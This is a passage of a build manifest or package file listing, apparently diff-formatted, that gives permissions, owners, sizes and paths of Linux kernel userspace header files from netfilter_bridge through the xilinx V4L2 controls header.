+-rw-r--r-- root root 1094 ./usr/include/linux/netfilter_bridge/ebt_ip.h
+-rw-r--r-- root root 616 ./usr/include/linux/netfilter_bridge/ebt_limit.h
+-rw-r--r-- root root 538 ./usr/include/linux/netfilter_bridge/ebt_log.h
+-rw-r--r-- root root 388 ./usr/include/linux/netfilter_bridge/ebt_mark_m.h
+-rw-r--r-- root root 831 ./usr/include/linux/netfilter_bridge/ebt_mark_t.h
+-rw-r--r-- root root 387 ./usr/include/linux/netfilter_bridge/ebt_nat.h
+-rw-r--r-- root root 510 ./usr/include/linux/netfilter_bridge/ebt_nflog.h
+-rw-r--r-- root root 267 ./usr/include/linux/netfilter_bridge/ebt_pkttype.h
+-rw-r--r-- root root 286 ./usr/include/linux/netfilter_bridge/ebt_redirect.h
+-rw-r--r-- root root 1110 ./usr/include/linux/netfilter_bridge/ebt_stp.h
+-rw-r--r-- root root 719 ./usr/include/linux/netfilter_bridge/ebt_vlan.h
+-rw-r--r-- root root 1168 ./usr/include/linux/netfilter_bridge.h
+-rw-r--r-- root root 1758 ./usr/include/linux/netfilter_decnet.h
+-rw-r--r-- root root 1674 ./usr/include/linux/netfilter.h
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter/ipset
+-rw-r--r-- root root 428 ./usr/include/linux/netfilter/ipset/ip_set_bitmap.h
+-rw-r--r-- root root 9108 ./usr/include/linux/netfilter/ipset/ip_set.h
+-rw-r--r-- root root 578 ./usr/include/linux/netfilter/ipset/ip_set_hash.h
+-rw-r--r-- root root 609 ./usr/include/linux/netfilter/ipset/ip_set_list.h
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter_ipv4
+-rw-r--r-- root root 1488 ./usr/include/linux/netfilter_ipv4.h
+-rw-r--r-- root root 6647 ./usr/include/linux/netfilter_ipv4/ip_tables.h
+-rw-r--r-- root root 425 ./usr/include/linux/netfilter_ipv4/ipt_ah.h
+-rw-r--r-- root root 821 ./usr/include/linux/netfilter_ipv4/ipt_CLUSTERIP.h
+-rw-r--r-- root root 431 ./usr/include/linux/netfilter_ipv4/ipt_ecn.h
+-rw-r--r-- root root 901 ./usr/include/linux/netfilter_ipv4/ipt_ECN.h
+-rw-r--r-- root root 654 ./usr/include/linux/netfilter_ipv4/ipt_LOG.h
+-rw-r--r-- root root 468 ./usr/include/linux/netfilter_ipv4/ipt_REJECT.h
+-rw-r--r-- root root 431 ./usr/include/linux/netfilter_ipv4/ipt_ttl.h
+-rw-r--r-- root root 375 ./usr/include/linux/netfilter_ipv4/ipt_TTL.h
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter_ipv6
+-rw-r--r-- root root 1383 ./usr/include/linux/netfilter_ipv6.h
+-rw-r--r-- root root 8011 ./usr/include/linux/netfilter_ipv6/ip6_tables.h
+-rw-r--r-- root root 657 ./usr/include/linux/netfilter_ipv6/ip6t_ah.h
+-rw-r--r-- root root 744 ./usr/include/linux/netfilter_ipv6/ip6t_frag.h
+-rw-r--r-- root root 458 ./usr/include/linux/netfilter_ipv6/ip6t_hl.h
+-rw-r--r-- root root 408 ./usr/include/linux/netfilter_ipv6/ip6t_HL.h
+-rw-r--r-- root root 645 ./usr/include/linux/netfilter_ipv6/ip6t_ipv6header.h
+-rw-r--r-- root root 662 ./usr/include/linux/netfilter_ipv6/ip6t_LOG.h
+-rw-r--r-- root root 439 ./usr/include/linux/netfilter_ipv6/ip6t_mh.h
+-rw-r--r-- root root 400 ./usr/include/linux/netfilter_ipv6/ip6t_NPT.h
+-rw-r--r-- root root 649 ./usr/include/linux/netfilter_ipv6/ip6t_opts.h
+-rw-r--r-- root root 470 ./usr/include/linux/netfilter_ipv6/ip6t_REJECT.h
+-rw-r--r-- root root 985 ./usr/include/linux/netfilter_ipv6/ip6t_rt.h
+-rw-r--r-- root root 3305 ./usr/include/linux/netfilter_ipv6/ip6t_srh.h
+-rw-r--r-- root root 4421 ./usr/include/linux/netfilter/nf_conntrack_common.h
+-rw-r--r-- root root 438 ./usr/include/linux/netfilter/nf_conntrack_ftp.h
+-rw-r--r-- root root 576 ./usr/include/linux/netfilter/nf_conntrack_sctp.h
+-rw-r--r-- root root 1415 ./usr/include/linux/netfilter/nf_conntrack_tcp.h
+-rw-r--r-- root root 896 ./usr/include/linux/netfilter/nf_conntrack_tuple_common.h
+-rw-r--r-- root root 538 ./usr/include/linux/netfilter/nf_log.h
+-rw-r--r-- root root 1522 ./usr/include/linux/netfilter/nf_nat.h
+-rw-r--r-- root root 900 ./usr/include/linux/netfilter/nfnetlink_acct.h
+-rw-r--r-- root root 2444 ./usr/include/linux/netfilter/nfnetlink_compat.h
+-rw-r--r-- root root 5924 ./usr/include/linux/netfilter/nfnetlink_conntrack.h
+-rw-r--r-- root root 1202 ./usr/include/linux/netfilter/nfnetlink_cthelper.h
+-rw-r--r-- root root 2930 ./usr/include/linux/netfilter/nfnetlink_cttimeout.h
+-rw-r--r-- root root 2428 ./usr/include/linux/netfilter/nfnetlink.h
+-rw-r--r-- root root 3106 ./usr/include/linux/netfilter/nfnetlink_log.h
+-rw-r--r-- root root 2665 ./usr/include/linux/netfilter/nfnetlink_osf.h
+-rw-r--r-- root root 3499 ./usr/include/linux/netfilter/nfnetlink_queue.h
+-rw-r--r-- root root 576 ./usr/include/linux/netfilter/nf_synproxy.h
+-rw-r--r-- root root 731 ./usr/include/linux/netfilter/nf_tables_compat.h
+-rw-r--r-- root root 51835 ./usr/include/linux/netfilter/nf_tables.h
+-rw-r--r-- root root 4467 ./usr/include/linux/netfilter/x_tables.h
+-rw-r--r-- root root 1084 ./usr/include/linux/netfilter/xt_addrtype.h
+-rw-r--r-- root root 718 ./usr/include/linux/netfilter/xt_AUDIT.h
+-rw-r--r-- root root 935 ./usr/include/linux/netfilter/xt_bpf.h
+-rw-r--r-- root root 740 ./usr/include/linux/netfilter/xt_cgroup.h
+-rw-r--r-- root root 563 ./usr/include/linux/netfilter/xt_CHECKSUM.h
+-rw-r--r-- root root 217 ./usr/include/linux/netfilter/xt_CLASSIFY.h
+-rw-r--r-- root root 374 ./usr/include/linux/netfilter/xt_cluster.h
+-rw-r--r-- root root 230 ./usr/include/linux/netfilter/xt_comment.h
+-rw-r--r-- root root 577 ./usr/include/linux/netfilter/xt_connbytes.h
+-rw-r--r-- root root 360 ./usr/include/linux/netfilter/xt_connlabel.h
+-rw-r--r-- root root 575 ./usr/include/linux/netfilter/xt_connlimit.h
+-rw-r--r-- root root 900 ./usr/include/linux/netfilter/xt_connmark.h
+-rw-r--r-- root root 199 ./usr/include/linux/netfilter/xt_CONNMARK.h
+-rw-r--r-- root root 301 ./usr/include/linux/netfilter/xt_CONNSECMARK.h
+-rw-r--r-- root root 2557 ./usr/include/linux/netfilter/xt_conntrack.h
+-rw-r--r-- root root 199 ./usr/include/linux/netfilter/xt_cpu.h
+-rw-r--r-- root root 853 ./usr/include/linux/netfilter/xt_CT.h
+-rw-r--r-- root root 483 ./usr/include/linux/netfilter/xt_dccp.h
+-rw-r--r-- root root 429 ./usr/include/linux/netfilter/xt_devgroup.h
+-rw-r--r-- root root 701 ./usr/include/linux/netfilter/xt_dscp.h
+-rw-r--r-- root root 697 ./usr/include/linux/netfilter/xt_DSCP.h
+-rw-r--r-- root root 736 ./usr/include/linux/netfilter/xt_ecn.h
+-rw-r--r-- root root 418 ./usr/include/linux/netfilter/xt_esp.h
+-rw-r--r-- root root 3256 ./usr/include/linux/netfilter/xt_hashlimit.h
+-rw-r--r-- root root 188 ./usr/include/linux/netfilter/xt_helper.h
+-rw-r--r-- root root 933 ./usr/include/linux/netfilter/xt_HMARK.h
+-rw-r--r-- root root 1393 ./usr/include/linux/netfilter/xt_IDLETIMER.h
+-rw-r--r-- root root 485 ./usr/include/linux/netfilter/xt_ipcomp.h
+-rw-r--r-- root root 581 ./usr/include/linux/netfilter/xt_iprange.h
+-rw-r--r-- root root 680 ./usr/include/linux/netfilter/xt_ipvs.h
+-rw-r--r-- root root 739 ./usr/include/linux/netfilter/xt_l2tp.h
+-rw-r--r-- root root 470 ./usr/include/linux/netfilter/xt_LED.h
+-rw-r--r-- root root 221 ./usr/include/linux/netfilter/xt_length.h
+-rw-r--r-- root root 673 ./usr/include/linux/netfilter/xt_limit.h
+-rw-r--r-- root root 642 ./usr/include/linux/netfilter/xt_LOG.h
+-rw-r--r-- root root 227 ./usr/include/linux/netfilter/xt_mac.h
+-rw-r--r-- root root 260 ./usr/include/linux/netfilter/xt_mark.h
+-rw-r--r-- root root 184 ./usr/include/linux/netfilter/xt_MARK.h
+-rw-r--r-- root root 721 ./usr/include/linux/netfilter/xt_multiport.h
+-rw-r--r-- root root 421 ./usr/include/linux/netfilter/xt_nfacct.h
+-rw-r--r-- root root 556 ./usr/include/linux/netfilter/xt_NFLOG.h
+-rw-r--r-- root root 779 ./usr/include/linux/netfilter/xt_NFQUEUE.h
+-rw-r--r-- root root 1703 ./usr/include/linux/netfilter/xt_osf.h
+-rw-r--r-- root root 535 ./usr/include/linux/netfilter/xt_owner.h
+-rw-r--r-- root root 553 ./usr/include/linux/netfilter/xt_physdev.h
+-rw-r--r-- root root 188 ./usr/include/linux/netfilter/xt_pkttype.h
+-rw-r--r-- root root 1051 ./usr/include/linux/netfilter/xt_policy.h
+-rw-r--r-- root root 400 ./usr/include/linux/netfilter/xt_quota.h
+-rw-r--r-- root root 859 ./usr/include/linux/netfilter/xt_rateest.h
+-rw-r--r-- root root 390 ./usr/include/linux/netfilter/xt_RATEEST.h
+-rw-r--r-- root root 220 ./usr/include/linux/netfilter/xt_realm.h
+-rw-r--r-- root root 1058 ./usr/include/linux/netfilter/xt_recent.h
+-rw-r--r-- root root 320 ./usr/include/linux/netfilter/xt_rpfilter.h
+-rw-r--r-- root root 2326 ./usr/include/linux/netfilter/xt_sctp.h
+-rw-r--r-- root root 549 ./usr/include/linux/netfilter/xt_SECMARK.h
+-rw-r--r-- root root 1827 ./usr/include/linux/netfilter/xt_set.h
+-rw-r--r-- root root 640 ./usr/include/linux/netfilter/xt_socket.h
+-rw-r--r-- root root 331 ./usr/include/linux/netfilter/xt_state.h
+-rw-r--r-- root root 716 ./usr/include/linux/netfilter/xt_statistic.h
+-rw-r--r-- root root 664 ./usr/include/linux/netfilter/xt_string.h
+-rw-r--r-- root root 498 ./usr/include/linux/netfilter/xt_SYNPROXY.h
+-rw-r--r-- root root 253 ./usr/include/linux/netfilter/xt_tcpmss.h
+-rw-r--r-- root root 235 ./usr/include/linux/netfilter/xt_TCPMSS.h
+-rw-r--r-- root root 407 ./usr/include/linux/netfilter/xt_TCPOPTSTRIP.h
+-rw-r--r-- root root 1250 ./usr/include/linux/netfilter/xt_tcpudp.h
+-rw-r--r-- root root 333 ./usr/include/linux/netfilter/xt_TEE.h
+-rw-r--r-- root root 730 ./usr/include/linux/netfilter/xt_time.h
+-rw-r--r-- root root 575 ./usr/include/linux/netfilter/xt_TPROXY.h
+-rw-r--r-- root root 752 ./usr/include/linux/netfilter/xt_u32.h
+-rw-r--r-- root root 2085 ./usr/include/linux/net.h
+-rw-r--r-- root root 1524 ./usr/include/linux/netlink_diag.h
+-rw-r--r-- root root 7825 ./usr/include/linux/netlink.h
+-rw-r--r-- root root 715 ./usr/include/linux/net_namespace.h
+-rw-r--r-- root root 807 ./usr/include/linux/netrom.h
+-rw-r--r-- root root 4914 ./usr/include/linux/net_tstamp.h
+-rw-r--r-- root root 1534 ./usr/include/linux/nexthop.h
+-rw-r--r-- root root 11209 ./usr/include/linux/nfc.h
+-rw-r--r-- root root 1468 ./usr/include/linux/nfs2.h
+-rw-r--r-- root root 2359 ./usr/include/linux/nfs3.h
+-rw-r--r-- root root 6338 ./usr/include/linux/nfs4.h
+-rw-r--r-- root root 1932 ./usr/include/linux/nfs4_mount.h
+-rw-r--r-- root root 668 ./usr/include/linux/nfsacl.h
+drwxr-xr-x root root 4096 ./usr/include/linux/nfsd
+-rw-r--r-- root root 3122 ./usr/include/linux/nfsd/cld.h
+-rw-r--r-- root root 736 ./usr/include/linux/nfsd/debug.h
+-rw-r--r-- root root 2113 ./usr/include/linux/nfsd/export.h
+-rw-r--r-- root root 3517 ./usr/include/linux/nfsd/nfsfh.h
+-rw-r--r-- root root 421 ./usr/include/linux/nfsd/stats.h
+-rw-r--r-- root root 1608 ./usr/include/linux/nfs_fs.h
+-rw-r--r-- root root 4500 ./usr/include/linux/nfs.h
+-rw-r--r-- root root 2243 ./usr/include/linux/nfs_idmap.h
+-rw-r--r-- root root 2142 ./usr/include/linux/nfs_mount.h
+-rw-r--r-- root root 7589 ./usr/include/linux/nilfs2_api.h
+-rw-r--r-- root root 18085 ./usr/include/linux/nilfs2_ondisk.h
+-rw-r--r-- root root 280715 ./usr/include/linux/nl80211.h
+-rw-r--r-- root root 2410 ./usr/include/linux/n_r3964.h
+-rw-r--r-- root root 639 ./usr/include/linux/nsfs.h
+-rw-r--r-- root root 8191 ./usr/include/linux/nubus.h
+-rw-r--r-- root root 1661 ./usr/include/linux/nvme_ioctl.h
+-rw-r--r-- root root 532 ./usr/include/linux/nvram.h
+-rw-r--r-- root root 20853 ./usr/include/linux/omap3isp.h
+-rw-r--r-- root root 5918 ./usr/include/linux/omapfb.h
+-rw-r--r-- root root 511 ./usr/include/linux/oom.h
+-rw-r--r-- root root 37676 ./usr/include/linux/openvswitch.h
+-rw-r--r-- root root 1672 ./usr/include/linux/packet_diag.h
+-rw-r--r-- root root 141 ./usr/include/linux/param.h
+-rw-r--r-- root root 3644 ./usr/include/linux/parport.h
+-rw-r--r-- root root 892 ./usr/include/linux/patchkey.h
+-rw-r--r-- root root 1380 ./usr/include/linux/pci.h
+-rw-r--r-- root root 56733 ./usr/include/linux/pci_regs.h
+-rw-r--r-- root root 711 ./usr/include/linux/pcitest.h
+-rw-r--r-- root root 34228 ./usr/include/linux/perf_event.h
+-rw-r--r-- root root 2097 ./usr/include/linux/personality.h
+-rw-r--r-- root root 10569 ./usr/include/linux/pfkeyv2.h
+-rw-r--r-- root root 2394 ./usr/include/linux/pg.h
+-rw-r--r-- root root 1654 ./usr/include/linux/phantom.h
+-rw-r--r-- root root 4677 ./usr/include/linux/phonet.h
+-rw-r--r-- root root 2687 ./usr/include/linux/pktcdvd.h
+-rw-r--r-- root root 15441 ./usr/include/linux/pkt_cls.h
+-rw-r--r-- root root 27648 ./usr/include/linux/pkt_sched.h
+-rw-r--r-- root root 5444 ./usr/include/linux/pmu.h
+-rw-r--r-- root root 22 ./usr/include/linux/poll.h
+-rw-r--r-- root root 1254 ./usr/include/linux/posix_acl.h
+-rw-r--r-- root root 1115 ./usr/include/linux/posix_acl_xattr.h
+-rw-r--r-- root root 1098 ./usr/include/linux/posix_types.h
+-rw-r--r-- root root 3285 ./usr/include/linux/ppdev.h
+-rw-r--r-- root root 2527 ./usr/include/linux/ppp-comp.h
+-rw-r--r-- root root 5107 ./usr/include/linux/ppp_defs.h
+-rw-r--r-- root root 5438 ./usr/include/linux/ppp-ioctl.h
+-rw-r--r-- root root 4734 ./usr/include/linux/pps.h
+-rw-r--r-- root root 8073 ./usr/include/linux/prctl.h
+-rw-r--r-- root root 1073 ./usr/include/linux/pr.h
+-rw-r--r-- root root 798 ./usr/include/linux/psample.h
+-rw-r--r-- root root 4328 ./usr/include/linux/psci.h
+-rw-r--r-- root root 4036 ./usr/include/linux/psp-sev.h
+-rw-r--r-- root root 6731 ./usr/include/linux/ptp_clock.h
+-rw-r--r-- root root 4265 ./usr/include/linux/ptrace.h
+-rw-r--r-- root root 2469 ./usr/include/linux/qemu_fw_cfg.h
+-rw-r--r-- root root 2328 ./usr/include/linux/qnx4_fs.h
+-rw-r--r-- root root 624 ./usr/include/linux/qnxtypes.h
+-rw-r--r-- root root 893 ./usr/include/linux/qrtr.h
+-rw-r--r-- root root 6291 ./usr/include/linux/quota.h
+-rw-r--r-- root root 360 ./usr/include/linux/radeonfb.h
+drwxr-xr-x root root 4096 ./usr/include/linux/raid
+-rw-r--r-- root root 16161 ./usr/include/linux/raid/md_p.h
+-rw-r--r-- root root 4484 ./usr/include/linux/raid/md_u.h
+-rw-r--r-- root root 1370 ./usr/include/linux/random.h
+-rw-r--r-- root root 365 ./usr/include/linux/raw.h
+-rw-r--r-- root root 11081 ./usr/include/linux/rds.h
+-rw-r--r-- root root 1343 ./usr/include/linux/reboot.h
+-rw-r--r-- root root 775 ./usr/include/linux/reiserfs_fs.h
+-rw-r--r-- root root 533 ./usr/include/linux/reiserfs_xattr.h
+-rw-r--r-- root root 2347 ./usr/include/linux/resource.h
+-rw-r--r-- root root 3682 ./usr/include/linux/rfkill.h
+-rw-r--r-- root root 3248 ./usr/include/linux/rio_cm_cdev.h
+-rw-r--r-- root root 9330 ./usr/include/linux/rio_mport_cdev.h
+-rw-r--r-- root root 1238 ./usr/include/linux/romfs_fs.h
+-rw-r--r-- root root 2232 ./usr/include/linux/rose.h
+-rw-r--r-- root root 2332 ./usr/include/linux/route.h
+-rw-r--r-- root root 544 ./usr/include/linux/rpmsg.h
+-rw-r--r-- root root 4904 ./usr/include/linux/rseq.h
+-rw-r--r-- root root 4009 ./usr/include/linux/rtc.h
+-rw-r--r-- root root 19055 ./usr/include/linux/rtnetlink.h
+-rw-r--r-- root root 4897 ./usr/include/linux/rxrpc.h
+-rw-r--r-- root root 4597 ./usr/include/linux/scc.h
+drwxr-xr-x root root 4096 ./usr/include/linux/sched
+-rw-r--r-- root root 4647 ./usr/include/linux/sched.h
+-rw-r--r-- root root 4480 ./usr/include/linux/sched/types.h
+-rw-r--r-- root root 6382 ./usr/include/linux/scif_ioctl.h
+-rw-r--r-- root root 2479 ./usr/include/linux/screen_info.h
+-rw-r--r-- root root 34783 ./usr/include/linux/sctp.h
+-rw-r--r-- root root 2839 ./usr/include/linux/sdla.h
+-rw-r--r-- root root 3235 ./usr/include/linux/seccomp.h
+-rw-r--r-- root root 2704 ./usr/include/linux/securebits.h
+-rw-r--r-- root root 3297 ./usr/include/linux/sed-opal.h
+-rw-r--r-- root root 589 ./usr/include/linux/seg6_genl.h
+-rw-r--r-- root root 1170 ./usr/include/linux/seg6.h
+-rw-r--r-- root root 423 ./usr/include/linux/seg6_hmac.h
+-rw-r--r-- root root 927 ./usr/include/linux/seg6_iptunnel.h
+-rw-r--r-- root root 2060 ./usr/include/linux/seg6_local.h
+-rw-r--r-- root root 1195 ./usr/include/linux/selinux_netlink.h
+-rw-r--r-- root root 3043 ./usr/include/linux/sem.h
+-rw-r--r-- root root 6436 ./usr/include/linux/serial_core.h
+-rw-r--r-- root root 3866 ./usr/include/linux/serial.h
+-rw-r--r-- root root 15496 ./usr/include/linux/serial_reg.h
+-rw-r--r-- root root 2063 ./usr/include/linux/serio.h
+-rw-r--r-- root root 3785 ./usr/include/linux/shm.h
+-rw-r--r-- root root 1233 ./usr/include/linux/signalfd.h
+-rw-r--r-- root root 388 ./usr/include/linux/signal.h
+-rw-r--r-- root root 2835 ./usr/include/linux/smc_diag.h
+-rw-r--r-- root root 780 ./usr/include/linux/smc.h
+-rw-r--r-- root root 1058 ./usr/include/linux/smiapp.h
+-rw-r--r-- root root 13014 ./usr/include/linux/snmp.h
+-rw-r--r-- root root 727 ./usr/include/linux/sock_diag.h
+-rw-r--r-- root root 819 ./usr/include/linux/socket.h
+-rw-r--r-- root root 6846 ./usr/include/linux/sockios.h
+-rw-r--r-- root root 2290 ./usr/include/linux/sonet.h
+-rw-r--r-- root root 5309 ./usr/include/linux/sonypi.h
+-rw-r--r-- root root 46038 ./usr/include/linux/soundcard.h
+-rw-r--r-- root root 1237 ./usr/include/linux/sound.h
+drwxr-xr-x root root 4096 ./usr/include/linux/spi
+-rw-r--r-- root root 5286 ./usr/include/linux/spi/spidev.h
+-rw-r--r-- root root 6100 ./usr/include/linux/stat.h
+-rw-r--r-- root root 131 ./usr/include/linux/stddef.h
+-rw-r--r-- root root 1275 ./usr/include/linux/stm.h
+-rw-r--r-- root root 238 ./usr/include/linux/string.h
+drwxr-xr-x root root 4096 ./usr/include/linux/sunrpc
+-rw-r--r-- root root 1144 ./usr/include/linux/sunrpc/debug.h
+-rw-r--r-- root root 1431 ./usr/include/linux/suspend_ioctls.h
+-rw-r--r-- root root 6711 ./usr/include/linux/swab.h
+-rw-r--r-- root root 4768 ./usr/include/linux/switchtec_ioctl.h
+-rw-r--r-- root root 2883 ./usr/include/linux/sync_file.h
+-rw-r--r-- root root 8985 ./usr/include/linux/synclink.h
+-rw-r--r-- root root 25880 ./usr/include/linux/sysctl.h
+-rw-r--r-- root root 1049 ./usr/include/linux/sysinfo.h
+-rw-r--r-- root root 3899 ./usr/include/linux/target_core_user.h
+-rw-r--r-- root root 7152 ./usr/include/linux/taskstats.h
+drwxr-xr-x root root 4096 ./usr/include/linux/tc_act
+-rw-r--r-- root root 764 ./usr/include/linux/tc_act/tc_bpf.h
+-rw-r--r-- root root 390 ./usr/include/linux/tc_act/tc_connmark.h
+-rw-r--r-- root root 644 ./usr/include/linux/tc_act/tc_csum.h
+-rw-r--r-- root root 934 ./usr/include/linux/tc_act/tc_ct.h
+-rw-r--r-- root root 556 ./usr/include/linux/tc_act/tc_ctinfo.h
+-rw-r--r-- root root 322 ./usr/include/linux/tc_act/tc_defact.h
+-rw-r--r-- root root 626 ./usr/include/linux/tc_act/tc_gact.h
+-rw-r--r-- root root 600 ./usr/include/linux/tc_act/tc_ife.h
+-rw-r--r-- root root 415 ./usr/include/linux/tc_act/tc_ipt.h
+-rw-r--r-- root root 728 ./usr/include/linux/tc_act/tc_mirred.h
+-rw-r--r-- root root 992 ./usr/include/linux/tc_act/tc_mpls.h
+-rw-r--r-- root root 424 ./usr/include/linux/tc_act/tc_nat.h
+-rw-r--r-- root root 1527 ./usr/include/linux/tc_act/tc_pedit.h
+-rw-r--r-- root root 456 ./usr/include/linux/tc_act/tc_sample.h
+-rw-r--r-- root root 1443 ./usr/include/linux/tc_act/tc_skbedit.h
+-rw-r--r-- root root 815 ./usr/include/linux/tc_act/tc_skbmod.h
+-rw-r--r-- root root 1898 ./usr/include/linux/tc_act/tc_tunnel_key.h
+-rw-r--r-- root root 816 ./usr/include/linux/tc_act/tc_vlan.h
+drwxr-xr-x root root 4096 ./usr/include/linux/tc_ematch
+-rw-r--r-- root root 414 ./usr/include/linux/tc_ematch/tc_em_cmp.h
+-rw-r--r-- root root 391 ./usr/include/linux/tc_ematch/tc_em_ipt.h
+-rw-r--r-- root root 2116 ./usr/include/linux/tc_ematch/tc_em_meta.h
+-rw-r--r-- root root 255 ./usr/include/linux/tc_ematch/tc_em_nbyte.h
+-rw-r--r-- root root 384 ./usr/include/linux/tc_ematch/tc_em_text.h
+-rw-r--r-- root root 10857 ./usr/include/linux/tcp.h
+-rw-r--r-- root root 1549 ./usr/include/linux/tcp_metrics.h
+-rw-r--r-- root root 12581 ./usr/include/linux/tee.h
+-rw-r--r-- root root 506 ./usr/include/linux/termios.h
+-rw-r--r-- root root 924 ./usr/include/linux/thermal.h
+-rw-r--r-- root root 1748 ./usr/include/linux/time.h
+-rw-r--r-- root root 936 ./usr/include/linux/timerfd.h
+-rw-r--r-- root root 278 ./usr/include/linux/times.h
+-rw-r--r-- root root 996 ./usr/include/linux/time_types.h
+-rw-r--r-- root root 7817 ./usr/include/linux/timex.h
+-rw-r--r-- root root 1729 ./usr/include/linux/tiocl.h
+-rw-r--r-- root root 14848 ./usr/include/linux/tipc_config.h
+-rw-r--r-- root root 8272 ./usr/include/linux/tipc.h
+-rw-r--r-- root root 9156 ./usr/include/linux/tipc_netlink.h
+-rw-r--r-- root root 468 ./usr/include/linux/tipc_sockets_diag.h
+-rw-r--r-- root root 4288 ./usr/include/linux/tls.h
+-rw-r--r-- root root 1930 ./usr/include/linux/toshiba.h
+-rw-r--r-- root root 4527 ./usr/include/linux/tty_flags.h
+-rw-r--r-- root root 1585 ./usr/include/linux/tty.h
+-rw-r--r-- root root 1476 ./usr/include/linux/types.h
+-rw-r--r-- root root 697 ./usr/include/linux/udf_fs_i.h
+-rw-r--r-- root root 643 ./usr/include/linux/udmabuf.h
+-rw-r--r-- root root 1613 ./usr/include/linux/udp.h
+-rw-r--r-- root root 4648 ./usr/include/linux/uhid.h
+-rw-r--r-- root root 9261 ./usr/include/linux/uinput.h
+-rw-r--r-- root root 732 ./usr/include/linux/uio.h
+-rw-r--r-- root root 798 ./usr/include/linux/uleds.h
+-rw-r--r-- root root 4562 ./usr/include/linux/ultrasound.h
+-rw-r--r-- root root 384 ./usr/include/linux/un.h
+-rw-r--r-- root root 220 ./usr/include/linux/unistd.h
+-rw-r--r-- root root 1328 ./usr/include/linux/unix_diag.h
+drwxr-xr-x root root 4096 ./usr/include/linux/usb
+-rw-r--r-- root root 19490 ./usr/include/linux/usb/audio.h
+-rw-r--r-- root root 12962 ./usr/include/linux/usb/cdc.h
+-rw-r--r-- root root 739 ./usr/include/linux/usb/cdc-wdm.h
+-rw-r--r-- root root 9149 ./usr/include/linux/usb/ch11.h
+-rw-r--r-- root root 38850 ./usr/include/linux/usb/ch9.h
+-rw-r--r-- root root 566 ./usr/include/linux/usb/charger.h
+-rw-r--r-- root root 8317 ./usr/include/linux/usbdevice_fs.h
+-rw-r--r-- root root 10370 ./usr/include/linux/usb/functionfs.h
+-rw-r--r-- root root 2818 ./usr/include/linux/usb/gadgetfs.h
+-rw-r--r-- root root 1385 ./usr/include/linux/usb/g_printer.h
+-rw-r--r-- root root 1097 ./usr/include/linux/usb/g_uvc.h
+-rw-r--r-- root root 640 ./usr/include/linux/usbip.h
+-rw-r--r-- root root 3434 ./usr/include/linux/usb/midi.h
+-rw-r--r-- root root 4713 ./usr/include/linux/usb/tmc.h
+-rw-r--r-- root root 16360 ./usr/include/linux/usb/video.h
+-rw-r--r-- root root 6811 ./usr/include/linux/userfaultfd.h
+-rw-r--r-- root root 1516 ./usr/include/linux/userio.h
+-rw-r--r-- root root 215 ./usr/include/linux/utime.h
+-rw-r--r-- root root 669 ./usr/include/linux/utsname.h
+-rw-r--r-- root root 1356 ./usr/include/linux/uuid.h
+-rw-r--r-- root root 2590 ./usr/include/linux/uvcvideo.h
+-rw-r--r-- root root 4177 ./usr/include/linux/v4l2-common.h
+-rw-r--r-- root root 52061 ./usr/include/linux/v4l2-controls.h
+-rw-r--r-- root root 31562 ./usr/include/linux/v4l2-dv-timings.h
+-rw-r--r-- root root 5101 ./usr/include/linux/v4l2-mediabus.h
+-rw-r--r-- root root 6339 ./usr/include/linux/v4l2-subdev.h
+-rw-r--r-- root root 7257 ./usr/include/linux/vbox_err.h
+-rw-r--r-- root root 8755 ./usr/include/linux/vboxguest.h
+-rw-r--r-- root root 11509 ./usr/include/linux/vbox_vmmdev_types.h
+-rw-r--r-- root root 97 ./usr/include/linux/version.h
+-rw-r--r-- root root 224 ./usr/include/linux/veth.h
+-rw-r--r-- root root 836 ./usr/include/linux/vfio_ccw.h
+-rw-r--r-- root root 33767 ./usr/include/linux/vfio.h
+-rw-r--r-- root root 5069 ./usr/include/linux/vhost.h
+-rw-r--r-- root root 3164 ./usr/include/linux/vhost_types.h
+-rw-r--r-- root root 91377 ./usr/include/linux/videodev2.h
+-rw-r--r-- root root 2041 ./usr/include/linux/virtio_9p.h
+-rw-r--r-- root root 5036 ./usr/include/linux/virtio_balloon.h
+-rw-r--r-- root root 6797 ./usr/include/linux/virtio_blk.h
+-rw-r--r-- root root 3836 ./usr/include/linux/virtio_config.h
+-rw-r--r-- root root 3136 ./usr/include/linux/virtio_console.h
+-rw-r--r-- root root 13874 ./usr/include/linux/virtio_crypto.h
+-rw-r--r-- root root 490 ./usr/include/linux/virtio_fs.h
+-rw-r--r-- root root 8540 ./usr/include/linux/virtio_gpu.h
+-rw-r--r-- root root 2592 ./usr/include/linux/virtio_ids.h
+-rw-r--r-- root root 2506 ./usr/include/linux/virtio_input.h
+-rw-r--r-- root root 3783 ./usr/include/linux/virtio_iommu.h
+-rw-r--r-- root root 4586 ./usr/include/linux/virtio_mmio.h
+-rw-r--r-- root root 10549 ./usr/include/linux/virtio_net.h
+-rw-r--r-- root root 7079 ./usr/include/linux/virtio_pci.h
+-rw-r--r-- root root 639 ./usr/include/linux/virtio_pmem.h
+-rw-r--r-- root root 7430 ./usr/include/linux/virtio_ring.h
+-rw-r--r-- root root 265 ./usr/include/linux/virtio_rng.h
+-rw-r--r-- root root 6035 ./usr/include/linux/virtio_scsi.h
+-rw-r--r-- root root 2153 ./usr/include/linux/virtio_types.h
+-rw-r--r-- root root 3086 ./usr/include/linux/virtio_vsock.h
+-rw-r--r-- root root 455 ./usr/include/linux/vmcore.h
+-rw-r--r-- root root 963 ./usr/include/linux/vm_sockets_diag.h
+-rw-r--r-- root root 5314 ./usr/include/linux/vm_sockets.h
+-rw-r--r-- root root 1885 ./usr/include/linux/vsockmon.h
+-rw-r--r-- root root 3059 ./usr/include/linux/vt.h
+-rw-r--r-- root root 1719 ./usr/include/linux/vtpm_proxy.h
+-rw-r--r-- root root 682 ./usr/include/linux/wait.h
+-rw-r--r-- root root 2335 ./usr/include/linux/watchdog.h
+drwxr-xr-x root root 4096 ./usr/include/linux/wimax
+-rw-r--r-- root root 8371 ./usr/include/linux/wimax.h
+-rw-r--r-- root root 15930 ./usr/include/linux/wimax/i2400m.h
+-rw-r--r-- root root 42713 ./usr/include/linux/wireless.h
+-rw-r--r-- root root 1761 ./usr/include/linux/wmi.h
+-rw-r--r-- root root 3562 ./usr/include/linux/x25.h
+-rw-r--r-- root root 2860 ./usr/include/linux/xattr.h
+-rw-r--r-- root root 1259 ./usr/include/linux/xdp_diag.h
+-rw-r--r-- root root 11737 ./usr/include/linux/xfrm.h
+-rw-r--r-- root root 2976 ./usr/include/linux/xilinx-v4l2-controls.h
